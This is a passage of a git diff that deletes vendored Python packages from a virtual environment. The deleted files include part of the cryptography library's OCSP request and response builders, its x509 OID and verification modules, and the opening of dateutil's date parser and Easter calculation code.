SHA256, SHA384, or SHA512" - ) - - -class OCSPCertStatus(utils.Enum): - GOOD = 0 - REVOKED = 1 - UNKNOWN = 2 - - -class _SingleResponse: - def __init__( - self, - resp: tuple[x509.Certificate, x509.Certificate] | None, - resp_hash: tuple[bytes, bytes, int] | None, - algorithm: hashes.HashAlgorithm, - cert_status: OCSPCertStatus, - this_update: datetime.datetime, - next_update: datetime.datetime | None, - revocation_time: datetime.datetime | None, - revocation_reason: x509.ReasonFlags | None, - ): - _verify_algorithm(algorithm) - if not isinstance(this_update, datetime.datetime): - raise TypeError("this_update must be a datetime object") - if next_update is not None and not isinstance( - next_update, datetime.datetime - ): - raise TypeError("next_update must be a datetime object or None") - - self._resp = resp - self._resp_hash = resp_hash - self._algorithm = algorithm - self._this_update = this_update - self._next_update = next_update - - if not isinstance(cert_status, OCSPCertStatus): - raise TypeError( - "cert_status must be an item from the OCSPCertStatus enum" - ) - if cert_status is not OCSPCertStatus.REVOKED: - if revocation_time is not None: - raise ValueError( - "revocation_time can only be provided if the certificate " - "is revoked" - ) - if revocation_reason is not None: - raise ValueError( - "revocation_reason can only be provided if the certificate" - " is revoked" - ) - else: - if not isinstance(revocation_time, datetime.datetime): - raise TypeError("revocation_time must be a datetime object") - - if revocation_reason is not None and not isinstance( - revocation_reason, x509.ReasonFlags - ): - raise TypeError( - "revocation_reason must be an item from the ReasonFlags " - "enum or None" - ) - - self._cert_status = cert_status - self._revocation_time = revocation_time - self._revocation_reason = revocation_reason - - -OCSPRequest = ocsp.OCSPRequest -OCSPResponse = ocsp.OCSPResponse -OCSPSingleResponse = ocsp.OCSPSingleResponse - - -class OCSPRequestBuilder: - def __init__( - self, - request: tuple[ - x509.Certificate, x509.Certificate, hashes.HashAlgorithm - ] - | None = None, - request_hash: tuple[bytes, bytes, int, hashes.HashAlgorithm] - | None = None, - extensions: list[x509.Extension[x509.ExtensionType]] = [], - ) -> None: - self._request = request - self._request_hash = request_hash - self._extensions = extensions - - def add_certificate( - self, - cert: x509.Certificate, - issuer: x509.Certificate, - algorithm: hashes.HashAlgorithm, - ) -> OCSPRequestBuilder: - if self._request is not None or self._request_hash is not None: - raise ValueError("Only one certificate can be added to a request") - - _verify_algorithm(algorithm) - if not isinstance(cert, x509.Certificate) or not isinstance( - issuer, x509.Certificate - ): - raise TypeError("cert and issuer must be a Certificate") - - return OCSPRequestBuilder( - (cert, issuer, algorithm), self._request_hash, self._extensions - ) - - def add_certificate_by_hash( - self, - issuer_name_hash: bytes, - issuer_key_hash: bytes, - serial_number: int, - algorithm: hashes.HashAlgorithm, - ) -> OCSPRequestBuilder: - if self._request is not None or self._request_hash is not None: - raise ValueError("Only one certificate can be added to a request") - - if not isinstance(serial_number, int): - raise TypeError("serial_number must be an integer") - - _verify_algorithm(algorithm) - utils._check_bytes("issuer_name_hash", issuer_name_hash) - utils._check_bytes("issuer_key_hash", issuer_key_hash) - if algorithm.digest_size != len( - issuer_name_hash - ) or algorithm.digest_size != len(issuer_key_hash): - raise ValueError( - "issuer_name_hash and issuer_key_hash must be the same length " - "as the digest size of the algorithm" - ) - - return OCSPRequestBuilder( - self._request, - (issuer_name_hash, issuer_key_hash, serial_number, algorithm), - self._extensions, - ) - - def add_extension( - self, extval: x509.ExtensionType, critical: bool - ) -> OCSPRequestBuilder: - if not isinstance(extval, x509.ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = x509.Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - - return OCSPRequestBuilder( - self._request, self._request_hash, [*self._extensions, extension] - ) - - def build(self) -> OCSPRequest: - if self._request is None and self._request_hash is None: - raise ValueError("You must add a certificate before building") - - return ocsp.create_ocsp_request(self) - - -class OCSPResponseBuilder: - def __init__( - self, - response: _SingleResponse | None = None, - responder_id: tuple[x509.Certificate, OCSPResponderEncoding] - | None = None, - certs: list[x509.Certificate] | None = None, - extensions: list[x509.Extension[x509.ExtensionType]] = [], - ): - self._response = response - self._responder_id = responder_id - self._certs = certs - self._extensions = extensions - - def add_response( - self, - cert: x509.Certificate, - issuer: x509.Certificate, - algorithm: hashes.HashAlgorithm, - cert_status: OCSPCertStatus, - this_update: datetime.datetime, - next_update: datetime.datetime | None, - revocation_time: datetime.datetime | None, - revocation_reason: x509.ReasonFlags | None, - ) -> OCSPResponseBuilder: - if self._response is not None: - raise ValueError("Only one response per OCSPResponse.") - - if not isinstance(cert, x509.Certificate) or not isinstance( - issuer, x509.Certificate - ): - raise TypeError("cert and issuer must be a Certificate") - - singleresp = _SingleResponse( - (cert, issuer), - None, - algorithm, - cert_status, - this_update, - next_update, - revocation_time, - revocation_reason, - ) - return OCSPResponseBuilder( - singleresp, - self._responder_id, - self._certs, - self._extensions, - ) - - def add_response_by_hash( - self, - issuer_name_hash: bytes, - issuer_key_hash: bytes, - serial_number: int, - algorithm: hashes.HashAlgorithm, - cert_status: OCSPCertStatus, - this_update: datetime.datetime, - next_update: datetime.datetime | None, - revocation_time: datetime.datetime | None, - revocation_reason: x509.ReasonFlags | None, - ) -> OCSPResponseBuilder: - if self._response is not None: - raise ValueError("Only one response per OCSPResponse.") - - if not isinstance(serial_number, int): - raise TypeError("serial_number must be an integer") - - utils._check_bytes("issuer_name_hash", issuer_name_hash) - utils._check_bytes("issuer_key_hash", issuer_key_hash) - _verify_algorithm(algorithm) - if algorithm.digest_size != len( - issuer_name_hash - ) or algorithm.digest_size != len(issuer_key_hash): - raise ValueError( - "issuer_name_hash and issuer_key_hash must be the same length " - "as the digest size of the algorithm" - ) - - singleresp = _SingleResponse( - None, - (issuer_name_hash, issuer_key_hash, serial_number), - algorithm, - cert_status, - this_update, - next_update, - revocation_time, - revocation_reason, - ) - return OCSPResponseBuilder( - singleresp, - self._responder_id, - self._certs, - self._extensions, - ) - - def responder_id( - self, encoding: OCSPResponderEncoding, responder_cert: x509.Certificate - ) -> OCSPResponseBuilder: - if self._responder_id is not None: - raise ValueError("responder_id can only be set once") - if not isinstance(responder_cert, x509.Certificate): - raise TypeError("responder_cert must be a Certificate") - if not isinstance(encoding, OCSPResponderEncoding): - raise TypeError( - "encoding must be an element from OCSPResponderEncoding" - ) - - return OCSPResponseBuilder( - self._response, - (responder_cert, encoding), - self._certs, - self._extensions, - ) - - def certificates( - self, certs: Iterable[x509.Certificate] - ) -> OCSPResponseBuilder: - if self._certs is not None: - raise ValueError("certificates may only be set once") - certs = list(certs) - if len(certs) == 0: - raise ValueError("certs must not be an empty list") - if not all(isinstance(x, x509.Certificate) for x in certs): - raise TypeError("certs must be a list of Certificates") - return OCSPResponseBuilder( - self._response, - self._responder_id, - certs, - self._extensions, - ) - - def add_extension( - self, extval: x509.ExtensionType, critical: bool - ) -> OCSPResponseBuilder: - if not isinstance(extval, x509.ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = x509.Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - - return OCSPResponseBuilder( - self._response, - self._responder_id, - self._certs, - [*self._extensions, extension], - ) - - def sign( - self, - private_key: CertificateIssuerPrivateKeyTypes, - algorithm: hashes.HashAlgorithm | None, - ) -> OCSPResponse: - if self._response is None: - raise ValueError("You must add a response before signing") - if self._responder_id is None: - raise ValueError("You must add a responder_id before signing") - - return ocsp.create_ocsp_response( - OCSPResponseStatus.SUCCESSFUL, self, private_key, algorithm - ) - - @classmethod - def build_unsuccessful( - cls, response_status: OCSPResponseStatus - ) -> OCSPResponse: - if not isinstance(response_status, OCSPResponseStatus): - raise TypeError( - "response_status must be an item from OCSPResponseStatus" - ) - if response_status is OCSPResponseStatus.SUCCESSFUL: - raise ValueError("response_status cannot be SUCCESSFUL") - - return ocsp.create_ocsp_response(response_status, None, None, None) - - -load_der_ocsp_request = ocsp.load_der_ocsp_request -load_der_ocsp_response = ocsp.load_der_ocsp_response diff --git a/venv/Lib/site-packages/cryptography/x509/oid.py b/venv/Lib/site-packages/cryptography/x509/oid.py deleted file mode 100644 index 520fc7ab018c1b62132b957d332a83abef51b39e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/oid.py +++ /dev/null @@ -1,37 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat._oid import ( - AttributeOID, - AuthorityInformationAccessOID, - CertificatePoliciesOID, - CRLEntryExtensionOID, - ExtendedKeyUsageOID, - ExtensionOID, - NameOID, - ObjectIdentifier, - OCSPExtensionOID, - OtherNameFormOID, - PublicKeyAlgorithmOID, - SignatureAlgorithmOID, - SubjectInformationAccessOID, -) - -__all__ = [ - "AttributeOID", - "AuthorityInformationAccessOID", - "CRLEntryExtensionOID", - "CertificatePoliciesOID", - "ExtendedKeyUsageOID", - "ExtensionOID", - "NameOID", - "OCSPExtensionOID", - "ObjectIdentifier", - "OtherNameFormOID", - "PublicKeyAlgorithmOID", - "SignatureAlgorithmOID", - "SubjectInformationAccessOID", -] diff --git a/venv/Lib/site-packages/cryptography/x509/verification.py b/venv/Lib/site-packages/cryptography/x509/verification.py deleted file mode 100644 index 2db4324d9615fb0d4dce6cd4dc5a9b55f4e28745..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/verification.py +++ /dev/null @@ -1,34 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import typing - -from cryptography.hazmat.bindings._rust import x509 as rust_x509 -from cryptography.x509.general_name import DNSName, IPAddress - -__all__ = [ - "ClientVerifier", - "Criticality", - "ExtensionPolicy", - "Policy", - "PolicyBuilder", - "ServerVerifier", - "Store", - "Subject", - "VerificationError", - "VerifiedClient", -] - -Store = rust_x509.Store -Subject = typing.Union[DNSName, IPAddress] -VerifiedClient = rust_x509.VerifiedClient -ClientVerifier = rust_x509.ClientVerifier -ServerVerifier = rust_x509.ServerVerifier -PolicyBuilder = rust_x509.PolicyBuilder -Policy = rust_x509.Policy -ExtensionPolicy = rust_x509.ExtensionPolicy -Criticality = rust_x509.Criticality -VerificationError = rust_x509.VerificationError diff --git a/venv/Lib/site-packages/dateutil/__init__.py b/venv/Lib/site-packages/dateutil/__init__.py deleted file mode 100644 index a2c19c06fe14476a9bfa4f1f60de7a997a41191c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -# -*- coding: utf-8 -*- -import sys - -try: - from ._version import version as __version__ -except ImportError: - __version__ = 'unknown' - -__all__ = ['easter', 'parser', 'relativedelta', 'rrule', 'tz', - 'utils', 'zoneinfo'] - -def __getattr__(name): - import importlib - - if name in __all__: - return importlib.import_module("." + name, __name__) - raise AttributeError( - "module {!r} has not attribute {!r}".format(__name__, name) - ) - - -def __dir__(): - # __dir__ should include all the lazy-importable modules as well. - return [x for x in globals() if x not in sys.modules] + __all__ diff --git a/venv/Lib/site-packages/dateutil/_common.py b/venv/Lib/site-packages/dateutil/_common.py deleted file mode 100644 index 4eb2659bd2986125fcfb4afea5bae9efc2dcd1a0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/_common.py +++ /dev/null @@ -1,43 +0,0 @@ -""" -Common code used in multiple modules. -""" - - -class weekday(object): - __slots__ = ["weekday", "n"] - - def __init__(self, weekday, n=None): - self.weekday = weekday - self.n = n - - def __call__(self, n): - if n == self.n: - return self - else: - return self.__class__(self.weekday, n) - - def __eq__(self, other): - try: - if self.weekday != other.weekday or self.n != other.n: - return False - except AttributeError: - return False - return True - - def __hash__(self): - return hash(( - self.weekday, - self.n, - )) - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - s = ("MO", "TU", "WE", "TH", "FR", "SA", "SU")[self.weekday] - if not self.n: - return s - else: - return "%s(%+d)" % (s, self.n) - -# vim:ts=4:sw=4:et diff --git a/venv/Lib/site-packages/dateutil/_version.py b/venv/Lib/site-packages/dateutil/_version.py deleted file mode 100644 index ddda98098527a73348e694c2edb691fd625475fc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/_version.py +++ /dev/null @@ -1,4 +0,0 @@ -# file generated by setuptools_scm -# don't change, don't track in version control -__version__ = version = '2.9.0.post0' -__version_tuple__ = version_tuple = (2, 9, 0) diff --git a/venv/Lib/site-packages/dateutil/easter.py b/venv/Lib/site-packages/dateutil/easter.py deleted file mode 100644 index f74d1f7442473997245ac683b8a269a3574d1ba4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/easter.py +++ /dev/null @@ -1,89 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a generic Easter computing method for any given year, using -Western, Orthodox or Julian algorithms. -""" - -import datetime - -__all__ = ["easter", "EASTER_JULIAN", "EASTER_ORTHODOX", "EASTER_WESTERN"] - -EASTER_JULIAN = 1 -EASTER_ORTHODOX = 2 -EASTER_WESTERN = 3 - - -def easter(year, method=EASTER_WESTERN): - """ - This method was ported from the work done by GM Arts, - on top of the algorithm by Claus Tondering, which was - based in part on the algorithm of Ouding (1940), as - quoted in "Explanatory Supplement to the Astronomical - Almanac", P. Kenneth Seidelmann, editor. - - This algorithm implements three different Easter - calculation methods: - - 1. Original calculation in Julian calendar, valid in - dates after 326 AD - 2. Original method, with date converted to Gregorian - calendar, valid in years 1583 to 4099 - 3. Revised method, in Gregorian calendar, valid in - years 1583 to 4099 as well - - These methods are represented by the constants: - - * ``EASTER_JULIAN = 1`` - * ``EASTER_ORTHODOX = 2`` - * ``EASTER_WESTERN = 3`` - - The default method is method 3. - - More about the algorithm may be found at: - - `GM Arts: Easter Algorithms `_ - - and - - `The Calendar FAQ: Easter `_ - - """ - - if not (1 <= method <= 3): - raise ValueError("invalid method") - - # g - Golden year - 1 - # c - Century - # h - (23 - Epact) mod 30 - # i - Number of days from March 21 to Paschal Full Moon - # j - Weekday for PFM (0=Sunday, etc) - # p - Number of days from March 21 to Sunday on or before PFM - # (-6 to 28 methods 1 & 3, to 56 for method 2) - # e - Extra days to add for method 2 (converting Julian - # date to Gregorian date) - - y = year - g = y % 19 - e = 0 - if method < 3: - # Old method - i = (19*g + 15) % 30 - j = (y + y//4 + i) % 7 - if method == 2: - # Extra dates to convert Julian to Gregorian date - e = 10 - if y > 1600: - e = e + y//100 - 16 - (y//100 - 16)//4 - else: - # New method - c = y//100 - h = (c - c//4 - (8*c + 13)//25 + 19*g + 15) % 30 - i = h - (h//28)*(1 - (h//28)*(29//(h + 1))*((21 - g)//11)) - j = (y + y//4 + i + 2 - c + c//4) % 7 - - # p can be from -6 to 56 corresponding to dates 22 March to 23 May - # (later dates apply to method 2, although 23 May never actually occurs) - p = i - j + e - d = 1 + (p + 27 + (p + 6)//40) % 31 - m = 3 + (p + 26)//30 - return datetime.date(int(y), int(m), int(d)) diff --git a/venv/Lib/site-packages/dateutil/parser/__init__.py b/venv/Lib/site-packages/dateutil/parser/__init__.py deleted file mode 100644 index d174b0e4dcc472999b75e55ebb88af320ae38081..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/parser/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: utf-8 -*- -from ._parser import parse, parser, parserinfo, ParserError -from ._parser import DEFAULTPARSER, DEFAULTTZPARSER -from ._parser import UnknownTimezoneWarning - -from ._parser import __doc__ - -from .isoparser import isoparser, isoparse - -__all__ = ['parse', 'parser', 'parserinfo', - 'isoparse', 'isoparser', - 'ParserError', - 'UnknownTimezoneWarning'] - - -### -# Deprecate portions of the private interface so that downstream code that -# is improperly relying on it is given *some* notice. - - -def __deprecated_private_func(f): - from functools import wraps - import warnings - - msg = ('{name} is a private function and may break without warning, ' - 'it will be moved and or renamed in future versions.') - msg = msg.format(name=f.__name__) - - @wraps(f) - def deprecated_func(*args, **kwargs): - warnings.warn(msg, DeprecationWarning) - return f(*args, **kwargs) - - return deprecated_func - -def __deprecate_private_class(c): - import warnings - - msg = ('{name} is a private class and may break without warning, ' - 'it will be moved and or renamed in future versions.') - msg = msg.format(name=c.__name__) - - class private_class(c): - __doc__ = c.__doc__ - - def __init__(self, *args, **kwargs): - warnings.warn(msg, DeprecationWarning) - super(private_class, self).__init__(*args, **kwargs) - - private_class.__name__ = c.__name__ - - return private_class - - -from ._parser import _timelex, _resultbase -from ._parser import _tzparser, _parsetz - -_timelex = __deprecate_private_class(_timelex) -_tzparser = __deprecate_private_class(_tzparser) -_resultbase = __deprecate_private_class(_resultbase) -_parsetz = __deprecated_private_func(_parsetz) diff --git a/venv/Lib/site-packages/dateutil/parser/_parser.py b/venv/Lib/site-packages/dateutil/parser/_parser.py deleted file mode 100644 index 37d1663b2f72447800d9a553929e3de932244289..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/parser/_parser.py +++ /dev/null @@ -1,1613 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a generic date/time string parser which is able to parse -most known formats to represent a date and/or time. - -This module attempts to be forgiving with regards to unlikely input formats, -returning a datetime object even for dates which are ambiguous. If an element -of a date/time stamp is omitted, the following rules are applied: - -- If AM or PM is left unspecified, a 24-hour clock is assumed, however, an hour - on a 12-hour clock (``0 <= hour <= 12``) *must* be specified if AM or PM is - specified. -- If a time zone is omitted, a timezone-naive datetime is returned. - -If any other elements are missing, they are taken from the -:class:`datetime.datetime` object passed to the parameter ``default``. If this -results in a day number exceeding the valid number of days per month, the -value falls back to the end of the month. - -Additional resources about date/time string formats can be found below: - -- `A summary of the international standard date and time notation - `_ -- `W3C Date and Time Formats `_ -- `Time Formats (Planetary Rings Node) `_ -- `CPAN ParseDate module - `_ -- `Java SimpleDateFormat Class - `_ -""" -from __future__ import unicode_literals - -import datetime -import re -import string -import time -import warnings - -from calendar import monthrange -from io import StringIO - -import six -from six import integer_types, text_type - -from decimal import Decimal - -from warnings import warn - -from .. import relativedelta -from .. import tz - -__all__ = ["parse", "parserinfo", "ParserError"] - - -# TODO: pandas.core.tools.datetimes imports this explicitly. Might be worth -# making public and/or figuring out if there is something we can -# take off their plate. -class _timelex(object): - # Fractional seconds are sometimes split by a comma - _split_decimal = re.compile("([.,])") - - def __init__(self, instream): - if isinstance(instream, (bytes, bytearray)): - instream = instream.decode() - - if isinstance(instream, text_type): - instream = StringIO(instream) - elif getattr(instream, 'read', None) is None: - raise TypeError('Parser must be a string or character stream, not ' - '{itype}'.format(itype=instream.__class__.__name__)) - - self.instream = instream - self.charstack = [] - self.tokenstack = [] - self.eof = False - - def get_token(self): - """ - This function breaks the time string into lexical units (tokens), which - can be parsed by the parser. Lexical units are demarcated by changes in - the character set, so any continuous string of letters is considered - one unit, any continuous string of numbers is considered one unit. - - The main complication arises from the fact that dots ('.') can be used - both as separators (e.g. "Sep.20.2009") or decimal points (e.g. - "4:30:21.447"). As such, it is necessary to read the full context of - any dot-separated strings before breaking it into tokens; as such, this - function maintains a "token stack", for when the ambiguous context - demands that multiple tokens be parsed at once. - """ - if self.tokenstack: - return self.tokenstack.pop(0) - - seenletters = False - token = None - state = None - - while not self.eof: - # We only realize that we've reached the end of a token when we - # find a character that's not part of the current token - since - # that character may be part of the next token, it's stored in the - # charstack. - if self.charstack: - nextchar = self.charstack.pop(0) - else: - nextchar = self.instream.read(1) - while nextchar == '\x00': - nextchar = self.instream.read(1) - - if not nextchar: - self.eof = True - break - elif not state: - # First character of the token - determines if we're starting - # to parse a word, a number or something else. - token = nextchar - if self.isword(nextchar): - state = 'a' - elif self.isnum(nextchar): - state = '0' - elif self.isspace(nextchar): - token = ' ' - break # emit token - else: - break # emit token - elif state == 'a': - # If we've already started reading a word, we keep reading - # letters until we find something that's not part of a word. - seenletters = True - if self.isword(nextchar): - token += nextchar - elif nextchar == '.': - token += nextchar - state = 'a.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == '0': - # If we've already started reading a number, we keep reading - # numbers until we find something that doesn't fit. - if self.isnum(nextchar): - token += nextchar - elif nextchar == '.' or (nextchar == ',' and len(token) >= 2): - token += nextchar - state = '0.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == 'a.': - # If we've seen some letters and a dot separator, continue - # parsing, and the tokens will be broken up later. - seenletters = True - if nextchar == '.' or self.isword(nextchar): - token += nextchar - elif self.isnum(nextchar) and token[-1] == '.': - token += nextchar - state = '0.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == '0.': - # If we've seen at least one dot separator, keep going, we'll - # break up the tokens later. - if nextchar == '.' or self.isnum(nextchar): - token += nextchar - elif self.isword(nextchar) and token[-1] == '.': - token += nextchar - state = 'a.' - else: - self.charstack.append(nextchar) - break # emit token - - if (state in ('a.', '0.') and (seenletters or token.count('.') > 1 or - token[-1] in '.,')): - l = self._split_decimal.split(token) - token = l[0] - for tok in l[1:]: - if tok: - self.tokenstack.append(tok) - - if state == '0.' and token.count('.') == 0: - token = token.replace(',', '.') - - return token - - def __iter__(self): - return self - - def __next__(self): - token = self.get_token() - if token is None: - raise StopIteration - - return token - - def next(self): - return self.__next__() # Python 2.x support - - @classmethod - def split(cls, s): - return list(cls(s)) - - @classmethod - def isword(cls, nextchar): - """ Whether or not the next character is part of a word """ - return nextchar.isalpha() - - @classmethod - def isnum(cls, nextchar): - """ Whether the next character is part of a number """ - return nextchar.isdigit() - - @classmethod - def isspace(cls, nextchar): - """ Whether the next character is whitespace """ - return nextchar.isspace() - - -class _resultbase(object): - - def __init__(self): - for attr in self.__slots__: - setattr(self, attr, None) - - def _repr(self, classname): - l = [] - for attr in self.__slots__: - value = getattr(self, attr) - if value is not None: - l.append("%s=%s" % (attr, repr(value))) - return "%s(%s)" % (classname, ", ".join(l)) - - def __len__(self): - return (sum(getattr(self, attr) is not None - for attr in self.__slots__)) - - def __repr__(self): - return self._repr(self.__class__.__name__) - - -class parserinfo(object): - """ - Class which handles what inputs are accepted. Subclass this to customize - the language and acceptable values for each parameter. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM - and YMD. Default is ``False``. - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken - to be the year, otherwise the last number is taken to be the year. - Default is ``False``. - """ - - # m from a.m/p.m, t from ISO T separator - JUMP = [" ", ".", ",", ";", "-", "/", "'", - "at", "on", "and", "ad", "m", "t", "of", - "st", "nd", "rd", "th"] - - WEEKDAYS = [("Mon", "Monday"), - ("Tue", "Tuesday"), # TODO: "Tues" - ("Wed", "Wednesday"), - ("Thu", "Thursday"), # TODO: "Thurs" - ("Fri", "Friday"), - ("Sat", "Saturday"), - ("Sun", "Sunday")] - MONTHS = [("Jan", "January"), - ("Feb", "February"), # TODO: "Febr" - ("Mar", "March"), - ("Apr", "April"), - ("May", "May"), - ("Jun", "June"), - ("Jul", "July"), - ("Aug", "August"), - ("Sep", "Sept", "September"), - ("Oct", "October"), - ("Nov", "November"), - ("Dec", "December")] - HMS = [("h", "hour", "hours"), - ("m", "minute", "minutes"), - ("s", "second", "seconds")] - AMPM = [("am", "a"), - ("pm", "p")] - UTCZONE = ["UTC", "GMT", "Z", "z"] - PERTAIN = ["of"] - TZOFFSET = {} - # TODO: ERA = ["AD", "BC", "CE", "BCE", "Stardate", - # "Anno Domini", "Year of Our Lord"] - - def __init__(self, dayfirst=False, yearfirst=False): - self._jump = self._convert(self.JUMP) - self._weekdays = self._convert(self.WEEKDAYS) - self._months = self._convert(self.MONTHS) - self._hms = self._convert(self.HMS) - self._ampm = self._convert(self.AMPM) - self._utczone = self._convert(self.UTCZONE) - self._pertain = self._convert(self.PERTAIN) - - self.dayfirst = dayfirst - self.yearfirst = yearfirst - - self._year = time.localtime().tm_year - self._century = self._year // 100 * 100 - - def _convert(self, lst): - dct = {} - for i, v in enumerate(lst): - if isinstance(v, tuple): - for v in v: - dct[v.lower()] = i - else: - dct[v.lower()] = i - return dct - - def jump(self, name): - return name.lower() in self._jump - - def weekday(self, name): - try: - return self._weekdays[name.lower()] - except KeyError: - pass - return None - - def month(self, name): - try: - return self._months[name.lower()] + 1 - except KeyError: - pass - return None - - def hms(self, name): - try: - return self._hms[name.lower()] - except KeyError: - return None - - def ampm(self, name): - try: - return self._ampm[name.lower()] - except KeyError: - return None - - def pertain(self, name): - return name.lower() in self._pertain - - def utczone(self, name): - return name.lower() in self._utczone - - def tzoffset(self, name): - if name in self._utczone: - return 0 - - return self.TZOFFSET.get(name) - - def convertyear(self, year, century_specified=False): - """ - Converts two-digit years to year within [-50, 49] - range of self._year (current local time) - """ - - # Function contract is that the year is always positive - assert year >= 0 - - if year < 100 and not century_specified: - # assume current century to start - year += self._century - - if year >= self._year + 50: # if too far in future - year -= 100 - elif year < self._year - 50: # if too far in past - year += 100 - - return year - - def validate(self, res): - # move to info - if res.year is not None: - res.year = self.convertyear(res.year, res.century_specified) - - if ((res.tzoffset == 0 and not res.tzname) or - (res.tzname == 'Z' or res.tzname == 'z')): - res.tzname = "UTC" - res.tzoffset = 0 - elif res.tzoffset != 0 and res.tzname and self.utczone(res.tzname): - res.tzoffset = 0 - return True - - -class _ymd(list): - def __init__(self, *args, **kwargs): - super(self.__class__, self).__init__(*args, **kwargs) - self.century_specified = False - self.dstridx = None - self.mstridx = None - self.ystridx = None - - @property - def has_year(self): - return self.ystridx is not None - - @property - def has_month(self): - return self.mstridx is not None - - @property - def has_day(self): - return self.dstridx is not None - - def could_be_day(self, value): - if self.has_day: - return False - elif not self.has_month: - return 1 <= value <= 31 - elif not self.has_year: - # Be permissive, assume leap year - month = self[self.mstridx] - return 1 <= value <= monthrange(2000, month)[1] - else: - month = self[self.mstridx] - year = self[self.ystridx] - return 1 <= value <= monthrange(year, month)[1] - - def append(self, val, label=None): - if hasattr(val, '__len__'): - if val.isdigit() and len(val) > 2: - self.century_specified = True - if label not in [None, 'Y']: # pragma: no cover - raise ValueError(label) - label = 'Y' - elif val > 100: - self.century_specified = True - if label not in [None, 'Y']: # pragma: no cover - raise ValueError(label) - label = 'Y' - - super(self.__class__, self).append(int(val)) - - if label == 'M': - if self.has_month: - raise ValueError('Month is already set') - self.mstridx = len(self) - 1 - elif label == 'D': - if self.has_day: - raise ValueError('Day is already set') - self.dstridx = len(self) - 1 - elif label == 'Y': - if self.has_year: - raise ValueError('Year is already set') - self.ystridx = len(self) - 1 - - def _resolve_from_stridxs(self, strids): - """ - Try to resolve the identities of year/month/day elements using - ystridx, mstridx, and dstridx, if enough of these are specified. - """ - if len(self) == 3 and len(strids) == 2: - # we can back out the remaining stridx value - missing = [x for x in range(3) if x not in strids.values()] - key = [x for x in ['y', 'm', 'd'] if x not in strids] - assert len(missing) == len(key) == 1 - key = key[0] - val = missing[0] - strids[key] = val - - assert len(self) == len(strids) # otherwise this should not be called - out = {key: self[strids[key]] for key in strids} - return (out.get('y'), out.get('m'), out.get('d')) - - def resolve_ymd(self, yearfirst, dayfirst): - len_ymd = len(self) - year, month, day = (None, None, None) - - strids = (('y', self.ystridx), - ('m', self.mstridx), - ('d', self.dstridx)) - - strids = {key: val for key, val in strids if val is not None} - if (len(self) == len(strids) > 0 or - (len(self) == 3 and len(strids) == 2)): - return self._resolve_from_stridxs(strids) - - mstridx = self.mstridx - - if len_ymd > 3: - raise ValueError("More than three YMD values") - elif len_ymd == 1 or (mstridx is not None and len_ymd == 2): - # One member, or two members with a month string - if mstridx is not None: - month = self[mstridx] - # since mstridx is 0 or 1, self[mstridx-1] always - # looks up the other element - other = self[mstridx - 1] - else: - other = self[0] - - if len_ymd > 1 or mstridx is None: - if other > 31: - year = other - else: - day = other - - elif len_ymd == 2: - # Two members with numbers - if self[0] > 31: - # 99-01 - year, month = self - elif self[1] > 31: - # 01-99 - month, year = self - elif dayfirst and self[1] <= 12: - # 13-01 - day, month = self - else: - # 01-13 - month, day = self - - elif len_ymd == 3: - # Three members - if mstridx == 0: - if self[1] > 31: - # Apr-2003-25 - month, year, day = self - else: - month, day, year = self - elif mstridx == 1: - if self[0] > 31 or (yearfirst and self[2] <= 31): - # 99-Jan-01 - year, month, day = self - else: - # 01-Jan-01 - # Give precedence to day-first, since - # two-digit years is usually hand-written. - day, month, year = self - - elif mstridx == 2: - # WTF!? - if self[1] > 31: - # 01-99-Jan - day, year, month = self - else: - # 99-01-Jan - year, day, month = self - - else: - if (self[0] > 31 or - self.ystridx == 0 or - (yearfirst and self[1] <= 12 and self[2] <= 31)): - # 99-01-01 - if dayfirst and self[2] <= 12: - year, day, month = self - else: - year, month, day = self - elif self[0] > 12 or (dayfirst and self[1] <= 12): - # 13-01-01 - day, month, year = self - else: - # 01-13-01 - month, day, year = self - - return year, month, day - - -class parser(object): - def __init__(self, info=None): - self.info = info or parserinfo() - - def parse(self, timestr, default=None, - ignoretz=False, tzinfos=None, **kwargs): - """ - Parse the date/time string into a :class:`datetime.datetime` object. - - :param timestr: - Any date/time string using the supported formats. - - :param default: - The default datetime object, if this is a datetime object and not - ``None``, elements specified in ``timestr`` replace elements in the - default object. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a - naive :class:`datetime.datetime` object is returned. - - :param tzinfos: - Additional time zone names / aliases which may be present in the - string. This argument maps time zone names (and optionally offsets - from those time zones) to time zones. This parameter can be a - dictionary with timezone aliases mapping time zone names to time - zones or a function taking two parameters (``tzname`` and - ``tzoffset``) and returning a time zone. - - The timezones to which the names are mapped can be an integer - offset from UTC in seconds or a :class:`tzinfo` object. - - .. doctest:: - :options: +NORMALIZE_WHITESPACE - - >>> from dateutil.parser import parse - >>> from dateutil.tz import gettz - >>> tzinfos = {"BRST": -7200, "CST": 